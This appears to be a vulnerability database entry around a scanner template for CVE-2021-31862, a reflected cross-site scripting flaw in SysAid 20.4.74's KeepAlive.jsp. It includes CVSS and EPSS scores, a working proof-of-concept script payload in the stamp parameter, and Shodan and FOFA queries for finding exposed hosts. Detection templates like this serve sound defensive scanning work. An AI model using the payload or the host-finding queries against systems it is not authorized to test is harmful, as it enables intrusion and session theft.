4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.002 Low
EPSS
Percentile
54.3%
SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
id: CVE-2021-31862
info:
name: SysAid 20.4.74 - Cross-Site Scripting
author: jas37
severity: medium
description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.
reference:
- https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md
- https://www.sysaid.com/product/on-premise/latest-release
- https://nvd.nist.gov/vuln/detail/CVE-2021-31862
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-31862
cwe-id: CWE-79
epss-score: 0.00141
epss-percentile: 0.48947
cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: sysaid
product: sysaid
shodan-query: http.favicon.hash:1540720428
fofa-query: icon_hash=1540720428
tags: cve2021,cve,xss,sysaid
http:
- method: GET
path:
- '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers:
- type: dsl
dsl:
- '(body == "false <script>alert(document.domain)</script>")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022038b8aeb034956bdc62b2cc0faf3b3b96c56487ef30a73cca3e5b4d7f7cc68e4e022100913143d230a19128c200ec72b3f3223614ba45b286c16c61e55e0afbf315b8d1:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.002 Low
EPSS
Percentile
54.3%